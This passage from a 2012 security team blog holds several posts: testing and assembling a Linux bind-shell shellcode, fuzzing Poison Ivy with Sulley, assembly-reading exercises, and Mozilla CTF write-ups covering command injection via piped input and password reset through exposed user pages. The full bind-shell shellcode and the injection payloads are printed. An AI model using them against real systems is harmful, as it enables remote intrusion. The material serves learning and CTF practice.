              -Convert pure shell code to local binary for testing
              -Retrieve the shellcode from a binary
              -Convert AT&T code to Intel for nasm to get the shellcode
              -Compile AT&T syntax code.

I believe this gives a great start to testing and using shellcode or assembly that you find on the interwebz when you are in a pinch , or if you find some really cool code that you might want to use that automated tools cannot produce shellcode for.


References and further reading:

http://wiki.osdev.org/Opcode_syntax
http://asm.sourceforge.net/articles/linasm.html (from Tyler's Comment)
http://www.ibm.com/developerworks/linux/library/l-gas-nasm/index.html
http://banisterfiend.wordpress.com/2008/08/17/att-vs-intel-assembly-syntax/
http://www.delorie.com/djgpp/mail-archives/djgpp/1995/06/06/05:48:34 (original sed)
http://asm.sourceforge.net/intro/hello.html


Friday, February 17, 2012

Fun with Shellcode

Giving the nature of the beast and the three of us like to explore and play with many varieties of ways to exploit things, I thought that I would dive a little into playing with shellcode.

The reason I thought that I would talk about this are muti factor. Let me entertain some questions. If you are a pentester and you do not have your handy dandy metasploit to generate your payload for you, what do you do? do you trust that "\x90\x6a\x66\" that you pulled from exploit-db or others without even seeing the assembly?

With these questions in mind let's dive in and explore some the pitfalls and issues that you will probably encounter on your way to the shell code playground.

So you want to play with shellcode huh?

So lets set the stage that you in the need for some shell code to do a bind shell on linux but you don't have a shell code generator. So casually make your way over to exploit-db or shell-storm and you find some shellcode but you are not sure how to use it or what it does. How do you test the shellcode to make sure that it works? Ok so I take a deep breath and browse over to another page that has the objdump or the binary. For reference this is what we will first be working off of http://www.shell-storm.org/shellcode/files/shellcode-515.php . Ok there are many approaches to tackling this and I will go the most manual way for the sake of learning. The first thing that I want to try is taking the assembly and putting it into my own file and nasm the thing. So with this in mind I copy the text from the page to test.asm file  and I write a quick oneliner (yeah I know oneliners are for the bar not computers, meh).

$ cat test.asm | grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|cut -d '"' -f 2 |paste -d '' -s


\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x52\x68\xff\x02\xfc\xc9\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x56\x89\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80


Let me step back for a second, why didn't we just dump the assembly and compile it and run it. let's do this and see what happens. The first thing is that we need to strip out all the junk so that it looks like good assembly.

$ cat test.asm | cut -d '/' -f3 | sed 's/%//g' | sed 's/\$//g' | sed 's/<//g' | sed 's/>//g' > 515.asm

This is gives us what looks like some good code but looking at the code I do somethings that are a little off  " 0x66,al"  this looks a little backwards but lets just roll with it and see. So we now compile it to see if we can execute it .

$ nasm -f elf 515.asm
515.asm:21: error: invalid combination of opcode and operands
515.asm:23: error: invalid combination of opcode and operands
515.asm:31: error: invalid combination of opcode and operands
515.asm:47: error: invalid combination of opcode and operands

well taking a look at 515.asm we can see that at these locations we do have an issue with "0x66,al" we will get into this some other time, so after a little manipulation we have fixed the issue.

$ cat 515.asm | sed 's/0x66,al/al, 0x66/g' | sed 's/0xb,al/al, 0xb/g' > 515b.asm

$ nasm -f elf 515b.asm



$ file 515b.o
515b.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped



The final step is that we need to get it working so lets do this.

$ ld -o 515b 515b.o
ld: warning: cannot find entry symbol _start; defaulting to 0000000008048060



$ ./515b
Segmentation fault

So what happened? We did everything right didn't we? according to all the tutorials and such yeah we did. Having a look at the "objdump -d 515b" the assembly things looks good. We could dive deeper into this but instead we are just going to power forward and get this thing working.  How we are going to do this is standing on the shoulders of other smart people. We are going to take a python script that was written by Mario Vilas and tweaked by Anand Sastry that utilizes CORE's InlineEgg package. See the references for all the links. Getting inlineEgg installed is as easy as "python setup.py install" . Once you have inlineEgg installed all you need to do is download the shellcode2exe.py from here: http://zeltser.com/reverse-malware/shellcode2exe.py.txt . Once you download it you just need to change the extension by removing the .txt or if you choose to just copy the code to your own file .py

The usage is brilliantly simple:

$ python shellcode2exe.py
Shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Usage:
    shellcode2exe.py payload.bin [payload.exe]
        [--arch=i386|powerpc|sparc|arm]
        [--os=windows|linux|freebsd|openbsd|solaris]
        [-c Allow for ascii shellcode as a cmd line parameter]
        [-s Allows for ascii shellcode in file]

Options:
  -h, --help            show this help message and exit
  -a ARCH, --arch=ARCH  target architecture [default: i386]
  -o OS, --os=OS        target operating system [default: windows]
  -c, --asciicmd        enable ascii entry in input file
  -s, --asciifile       enable ascii entry in command line


So with this we will take the assembly and see what we get.

$ python ../shellcode2exe.py -o linux -c "\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x52\x68\xff\x02\xfc\xc9\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x56\x89\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" 515c
Shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Treating first parameter as \x encoded shellcode
Generating executable file
Writing file 515c
Done.
 

$ ./515c


$ netstat -pant 
tcp        0      0 0.0.0.0:64713           0.0.0.0:*               LISTEN      26789/515c 

Woot! we have a bind shell listening on 64713 so this method works. This was with the shellcode taken from page what about from the assembly we compiled our self. lets go for it but take it from 515b , the file that didn't work.

$ objdump -d 515b |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\x68\x66\x00\x00\x00\x58\x31\xdb\x53\x43\x53\x68\x02\x00\x00\x00\x89\xcc\xcd\x80\x31\xd2\x52\x68\xff\x02\xfc\xc9\x89\xcc\x68\x10\x00\x00\x00\x51\x50\x89\xcc\x89\xf0\x43\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x56\x89\xcc\x43\xb0\x66\xcd\x80\x93\x68\x03\x00\x00\x00\x59\x49\x68\x3f\x00\x00\x00\x58\xcd\x80\x75\xf5\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xdc\xb0\x0b\xcd\x80"


With this you will see that nasm interpreted a few things a little wrong by doing a "push immediate word" instead of a "push immediate byte" . Also we can see that we needed to flip the ecx,esp to give us our "e1" instead of "cc". So we make the necessary changes and delete the null bytes since those are not needed and we end up with the correct shellcode that gives us our nice binary with shellcode2exe.py.

Given the exercise you can now begin to use assembly files to test locally before you deploy on a real engagement and allow you to write or manipulate code on your own. It also gives you the ability to overcome a few hurdles that many people come across when playing with shellcode.

In the coming posts I have created a TinyCore remaster that includes the custom program that we designed along with the above code so that you can get you hand dirty on a boot-able image.

References:

http://zeltser.com/reverse-malware/convert-shellcode.html
http://breakingcode.wordpress.com/2010/01/18/quickpost-converting-shellcode-to-executable-files-using-inlineegg/
http://zeltser.com/reverse-malware/shellcode2exe.py.txt
http://oss.coresecurity.com/projects/inlineegg.html
http://www.shell-storm.org


Thursday, February 9, 2012

Basic Sulley Fuzzing with Linux Host

Background

Recently, I wanted to perform some basic fuzzing against a target application.  I chose Sulley because it's Python-based and others on the project were already using it.  Unfortunately, Sulley is a finicky beast, and it's difficult to find clear instructions on how to install, configure, and get a basic fuzzing session started.  Even fewer places talk about using Sulley on Linux.  Hopefully, this post will fill that gap (in addition to being my online notebook). It will also document the changes I had to make to Sulley to get vmcontrol working on Linux.

Installation

In my case, I used two separate systems for my fuzzing work.  The target system (a Windows XP VM) executed the target application and Sulley monitoring agents.  The other system (my Linux host) executed the Sulley driver scripts. 

One of the clearest guides I found was over at the RosinCore blog: http://rosincore.wordpress.com/2011/09/18/setting-up-a-sulley-fuzzing-framework-on-windows-7/ .  I used his guide when configurging my target, with some changes.  I've listed my steps below - see RosinCore post for more details (i.e., svn commands, python build commands, etc).
  • Create a Windows XP VM in VMWare Workstation, including VMware tools in the guest
  • Configure the target VM to have a VMWare shared folder from the host
  • Install slikSVN (Slik-Subversion-1.7.2-win32.msi)
  • Install 7zip (7z920.exe)
  • Install minGW, but use an older version (mingw-get-inst-20110802.exe) to avoid gcc bug encountered by teammate
  • Check box for C++ compiler
  • Install winpcap (WinPcap_4_1_2.exe)
  • Install winpcap developer's pack (WpdPack_4_1_2.zip)
  • Install Python 2.7 (python-2.7.2.msi)
  • Install libdasm (svn co the trunk)
  • Install install pcapy (pcapy-0.10.5.zip)
  • Install install Impacket (Impacket-0.9.6.0.zip)
  • Install IDA Free 5.0 (ideafree50.exe)
  • Install idapython (idapython-1.5.3_ida6.2_py2.7_win32.zip)
  • Install PaiMei (svn co the trunk)
  • Fix pydasm libs (they get clobbered by paimei install)
  • del c:\python27\lib\site-packages\pydasm.pyd
    del c:\python27\lib\site-packages\pydbg\pydasm.pyd
    cd z:\install_files\libdasm-read-only\pydasm
    python setup.py install
  • NOTE: If you see an error message when running Sulley saying something like pdbg can't load pydasm module, try executing these steps again
  • Install Sulley (svn co the trunk) - this goes in the shared folder!
  • Install Process Hacker (processhacker-2.27-setup.exe)
  • Install Immunity Debugger (ImmunityDebugger_1_83_setup.exe)
  • Install WireShark (wireshark-win32-1.6.5.exe)
  • Test Sulley.  Once everything works, TAKE A SNAPSHOT.

Like I said, installing Sulley can be a bit of a PITA.  My host is running 64-bit Ubuntu.  I already had python 2.6.5 installed, so all I needed to add was pcapy.  I also used ipython when debugging the Sulley script (see below).

Prepping the Target


Now that we have the target VM ready to go, you'll need to install and execute your target application, with the Sulley monitors.  Just for grins, I chose to work against Poison Ivy.  The client (listener) part of PIVY is started using the GUI.  This meant that I could not just use the Sulley process_monitor.py script to restart the application if/when a crash occurred (because PIVY would not be put back into listen mode).  I executed the following steps to prep the target VM
  • Stop the Windows Firewall
  • Start Poison Ivy
  • Put PIVY into listen mode (start a client)
  • Open two command prompts (cmd.exe)
  • Command prompt 1, start the process_monitor.py from the shared folder
  • cd z:\sulley\sulley_read_only
    python process_monitor.py -c audits\pivy.crashbin -p "Poison Ivy 2.3.2.exe" -l 5
  • Command prompt 2, start the network_monitor.py from the shared folder
  • cd z:\sulley\sulley_read_only
    python network_monitor.py -d 0 -f "src or dst port 3460" -P audits\pivy -l 5
  • Take a snapshot, and give it a short name that you will remember

Modifying Sulley

Sulley includes a script called vmcontrol.py that it can use to start and reset a target VM.  Unfortunately, the script failed to run on my 64-bit Linux system right out of the box. However, I only needed to make the minor changes listed below to get things up and running:

vmcontrol.py diff
340c340
<     if not os.name == "nt" and interactive:
---
>     if not os.name == "nt":
sulley/pedrpc.py diff
13,14c13
<         #self.NOLINGER         = struct.pack('HH', 1, 0)
<         self.NOLINGER         = struct.pack('ii', 1, 0)
---
>         self.NOLINGER         = struct.pack('HH', 1, 0)
Once those changes were made, I was able to execute the following to get vmcontrol.py to control the target VM:

./vmcontrol.py --vmrun=/usr/bin/vmrun --snapshot=sulley-pivy --vmx=/vmware/xp.vmx --log_level=5

Sulley Fuzzing Files

Finally, I created a fuzzing request file and a fuzzing controller file.  Since the target was the network daemon for PIVY, I chose to start by just fuzzing a block of 256 bytes.  I ran into an issue with documentation at this point - many of the documents out there for Sulley indicate the s_binary() primitive is fuzzable.  However, for my installation of Sulley, s_binary() is NOT fuzzable.  I had to switch to s_random() and set the min and max parameters the same.  I determined s_binary() was not fuzzable by looking at the Python help docs in ipython:
Python 2.6.5 (r265:79063, Apr 16 2010, 13:57:41) 
Type "copyright", "credits" or "license" for more information.

IPython 0.10 -- An enhanced Interactive Python.
?         -> Introduction and overview of IPython's features.
%quickref -> Quick reference.
help      -> Python's own help system.
object?   -> Details about 'object'. ?object also works, ?? prints more.

In [1]: from sulley import *
sulley/blocks.py:7: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha

In [2]: help(s_binary)

Help on function s_binary in module sulley:

s_binary(value, name=None)
    Parse a variable format binary string into a static value and push it onto the current block stack.
    
    @type  value: String
    @param value: Variable format binary string
    @type  name:  String
    @param name:  (Optional, def=None) Specifying a name gives you direct access to a primitive
The fuzzing controller script needs to setup the vmcontrol member of the target object and then set the VM to the proper snapshot before starting the fuzzing session.  The two files I used are listed below:

requests/pivyreq.py
from sulley import *

s_initialize("main")

s_random("187ad46c3d78cd68b54994a93f5a153bfce2e92ebab84688ecde05bb49bb70f91de3796e08a3514994c96fda1e61160e6659a2152f0f1452042b5620c685142603a12321d4cd20babb016680e725c5b6b478a235e56628607b50a84d7e3437053e7cc7f9dd9b51bc539787ea10e075de58a5cec089270a8b0a7e7814f280ad7206eb0f27dda946cd87f15a11a79119f1a578f9b3a5edd06eac5b078b0a794798bfecf3afe250082d96c181474ac49366e54ec2acbc4f6e46898006596544b8b5b7cb3abc09a8ef1860877e182787911c0cd3fc0a36eeeb34ded41a1c9a9efcd648a7fa5ee7e5d337e8052a86e729ff6ce2fffbb3fb40936a8615ecb20bc84772",256,256)
pivy.py
from sulley import *
from requests import pivyreq

print "Instantiating session"
sess = sessions.session(session_filename="pivytest.session")

print "Instantiating target"
target = sessions.target("172.16.147.128", 3460)
target.netmon = pedrpc.client("172.16.147.128", 26001)
target.procmon = pedrpc.client("172.16.147.128", 26002)
target.vmcontrol = pedrpc.client("172.16.147.1",26003)

target.procmon_options =  {
 "proc_name" : "Posion Ivy 2.3.2.exe",
}

target.vmcontrol.restart_target()
print "Virtual machine up and running"

sess.add_target(target)

sess.connect(sess.root, s_get("main"))

print "Starting fuzzing now"
sess.fuzz()
After you have all the agents running, just run pivy.py from the sulley directory and watch the magic. Now, if you actually replicate this test, you'll see the fuzzing does not accomplish much. Andrzej Dereszowski wrote a nice paper explaining an effective way to fuzz PIVY, which you can download at http://www.signal11.eu/en/research/articles/targeted_2010.pdf

List of Resources

Sunday, February 5, 2012

Binary Auditing part 9, Passing Arguments via Registers

This is pretty similiar to A08, the only difference being that the push before calling printf is with eax.

eax in this program has stored the results of sub_401000, and we immediately push it onto the stack. By pushing before a function call, we're essentially passing it to the function.

Binary Auditing part 8, Pass Global Variables Explicitly

Global variables ( http://en.wikipedia.org/wiki/Global_variable ) are variables that are available throughout the entire program. This is defined by scoping ( http://en.wikipedia.org/wiki/Scope_(computer_science) ).

Beginning at 00401033 you see that two variables of size dword are being created and assigned their values.

These variables are then pushed onto the stack, and there is a call to a function. This just passed the variables into the function, so that they are accessible within the function's scope.

Inside the function, we see positive values for arg_0 and arg_4, meaning that these arguments are found up on the stack. This falls in line as the stack grows downward.

Saturday, February 4, 2012

Binary Auditing part 7, Identifying the Conditional Operator

This is a fun one. Assembly has a lot of conditional statements. Remember, a conditional is when there is a comparison. An example:

If a = 1;
   print "A is equal to 1";
else
   print "A is not equal to 1";
end

In the pseudo code above, "If a = 1;" is the conditional. The other lines are the action taken depending upon the conditional's results.

The instructions we're going to take a look at in this exercise: cmp, jle, test, jge, jz, jbe, setnz, setnle.

**

cmp (compare): this instruction subtracts from each other and sets the ZF flag (ref: http://en.wikibooks.org/wiki/X86_Assembly/Control_Flow#Comparison_Instructions)

At 00401008, we see the compare of the value of var_4 to 0. In this case if var_4 is not equal to 0, ZF is set to true (or 1). If var_4 was equal to 0, the ZF flag would remain at 0 (or false).

**

setnle (set if not less than or equal): this checks the flags in the EFLAGS register (CF, SF, OF, ZF and PF), then acts upon whatever register (in this case, the lower half of eax which is al) is passed to it. (ref: http://faydoc.tripod.com/cpu/setnle.htm)

At 0040100C, setnle sets al to 1 because the ZF flag is set.

**

jle (jump if less than or equal to): acts upon a comparision before it, and looks at the ZF or the SF/OF CPU flags (http://en.wikibooks.org/wiki/X86_Assembly/Control_Flow#Jump_if_Less)

At 0040101A, jle sees if the cmp above it is true or false. If var_8 is less than 0, it takes the jump.

**

jge (jump if greater than or equal to): there is a compare before this statement, but it checks to see if the SF flag is equal to the OF flag.

At 0040107D, you'll see the jge instruction. Play with it in a debugger: 1) set a breakpoint at 0040107D, 2) look at the SF and OF flags. Now, SF and OF, by default, are 0 in this program, so IDA shows us that it wants to jump to 00401087. However, if you modify the SF or OF flag to 1 so that the two CPU flags are not equal, the jump is not performed. You can modify the flag values by right clicking on the flag you want to modify.

**

test: compares to see if the two are equal to each other ( http://en.wikipedia.org/wiki/TEST_(x86_instruction) )

At 00401076, it does a comparision to see if eax is equal to eax. This may seem odd, but it's because eax contains the results of the function getmainargs. If the function was successful, eax will equal 0. If it is not, eax will be a negative number (http://msdn.microsoft.com/en-us/library/ff770599.aspx). So the test will find the results of whether or not the function call was successful.

**

jz/je (jump if zero/equal): jump if ZF CPU flag is 1
jnz/jne (jump not zero/not equal): jump if ZF flag is 0

At 00401263, there is an example of this. The previous instruction is comparing the hex values 5A4D to what's located on the stack. If you hover over it, you see it is equal to ZM aka 5A4D.

**

setnz (set is not zero): this looks at the ZF CPU flag. If it's 0, it'll set whatever register is passed to it to 1. If not, that register will remain.

At 004012B5, by default the ZF flag will be set. Again, modify it to 0 and see that ecx is changed to 00000000.

Friday, January 27, 2012

Mozilla CTF 2012 - IP Panel

The description for this challenge:

"Exploit Mozillas IP Panel! This IP Panel is used for whitelisting IP addresses. We know that the webinterface will call a bash script that will execute an iptables command without validation. Find the flag somewhere in /home/ippanel/ and submit it!"

So it's basically an issue with input validation of a text box. The input from the text box gets passed to something like a system("iptables $input"). The only validation that occurred here was that you can't use the letter "p" and the "/" character. "p" would get switched with " - trololololol, no p allowed :p -".

I started with a valid iptables command, "-L" and used the pipe command "|". In the input field, I put "-L | ls -hal" to get a directory listing. The output was "total 14", so this indicated that the output only prints the last line of whatever was returned from the system call.

To do a complete directory listing:

-L | ls -hal | head -1 | tail -1
-L | ls -hal | head -2 | tail -1
-L | ls -hal | head -3 | tail -1
-L | ls -hal | head -4 | tail -1

and so on until "head -14".

While doing the manual directory listing, I was thinking about how to overcome the challenge of changing my directory path into /home/ippanel/ since it has p's and forward slashes. I was going to simply substitute the p's with *, as in "cd i*anel". However, when I got done with the directory listing, I noticed the flag was already in the current working directory named "th15-15_th3_fl4g.txt".


Just cat the file and we're done:
"-L | cat th15-15_th3_fl4g.txt"
returns:
i1gALKeMunqCcyeVMud7TCbI

Thursday, January 26, 2012

Mozilla CTF 2012 - 3 - Spark - Things long forgotten / 4 - Spark - Interesting Lineage / Kraken

This challenge was the first of 9 challenges based off the Spark site that Mozilla had up for awhile. I figured that I would role these two into one just to keep it simple since these ones were pretty strait forward.


For the first one you needed to create an account with the spark site. Once you did this all that you needed to do was "boost your spark" by following the instructions that went from your location to boost and directed you to the flag page.


Once you added this minus the quotes you snag some more points.

You can also from another registered account boost your account and snag you request and keep resubmitting to get you name on the board.

OST /en-US/m/boost2_confirm HTTP/1.1
Host: ocean.mozillactf.org
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://ocean.mozillactf.org/en-US/home
Content-Length: 77
Cookie: csrftoken=d0d01d47dc3e20835703eaf0c82d0a16; sessionid=a78c616fcd3d2889899098731f20ab9e; parent=qqcrew
DNT: 1
Pragma: no-cache
Cache-Control: no-cache

csrfmiddlewaretoken=d0d01d47dc3e20835703eaf0c82d0a16&no_parent=&parent=qqcrew






Next....

The next piece ties into "bringing down the Kraken" but I digress. If you continue to browse the spark site you will eventually notice that you have a username listed in the urls as:

/en-US/users/717163726577
 So what is the "717163726577" portion that you ask, well simple it just your html encoded team name.

qqcrew = &#x71;&#x71;&#x63;&#x72;&#x65;&#x77; = 717163726577

Ok? so what?  Well if you happen to have browsed to the site listed above you would have gotten a page that you can reset your password that contained the flag.

<div class="section">
 <div>DEBUG USER</div>
 <div>Name: <span>qqcrew</div>
 <div>Email: <span>qq@crew.com</div>
 <div>First Name :<span></div>
 <div>Last Name :<span></div>
 <div>City Name :<span>Cape Town</div>
 <div>Reset Email Password [Disabled]</div>
 <div>Force Password Reset <a href="https://ocean.mozillactf.org/pwreset/Nx0hBEhFUGMCARRcAhQhQxEXEk8XGh8ZAlEoChYAV0cNTx0QEBguQwEMEEYXTko=">[Enabled]</a></div>
</div>
<!-- Flag ='There are so many buried treasures in the sea!' -->

Bingo ! Another flag. 

So what else is there? Well now you can mess with anyone that you want which leads to bringing down the Kraken. So taking what we know we browse to:

/en-US/users/4B72616B656E

Then we do a force reset and Bingo another one drops!


Mozilla CTF 2012 - The Fish Blog

Challenge:
The Fish Lover's Blog contains some hidden information. Find it!

Solution:

There's not a lot of explanation for this challenge. Again, we used Burp Suite Pro to intercept our web traffic to/from the challenge site. Loading the initial page we noticed the following comments in the HTML source
< !-- the files are stored at /webserver_upload_3043493/ctf/hidden_files/ -->
< !-- BUGBUG: make sure permissions on directories and files are correct -->
Hmmm... Loading up http://challenge13.mozillactf.org/webserver_upload_30439/ctf/hidden_files/" results gives us a 403 Forbidden. So we know the directory exists, but we still don't know where the flag is. There's a shockwave object embedded into the page displaying a fish animation, but that is just a red herring (bad pun).

Well, it's a low-point challenge. Maybe we could just guess the name of the flag file?
GET /webserver_upload_3043493/ctf/hidden_files/flag HTTP/1.1

HTTP/1.1 404 Not Found
No luck.
GET /webserver_upload_3043493/ctf/hidden_files/flag.php HTTP/1.1

HTTP/1.1 404 Not Found
Still no love.
GET /webserver_upload_3043493/ctf/hidden_files/flag.txt HTTP/1.1

HTTP/1.1 200 OK


youJustGotTheFlagDudeCongrats
Woot! Another 50 points...